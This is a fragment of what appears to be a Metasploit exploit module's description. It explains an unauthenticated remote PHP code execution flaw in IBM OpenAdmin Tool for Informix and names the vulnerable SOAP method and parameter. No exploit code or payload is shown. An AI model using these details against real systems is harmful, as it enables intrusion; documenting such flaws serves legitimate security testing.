      'Description'    => %q{
        This module exploits an unauthenticated remote PHP code execution
        vulnerability in IBM OpenAdmin Tool included with IBM Informix
        versions 11.5, 11.7, and 12.1.

        The 'welcomeServer' SOAP service does not properly validate user input
        in the 'new_home_page' parameter of the 'saveHomePage' method allowing
        arbitrary PHP code to be written to the config.php file. The config.php
        file is executed in most pages within the application, and accessible
        directly via the web root, resulting in code execution.

        This module has been tested successfully on IBM OpenAdmin Tool 3.14
        on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance.
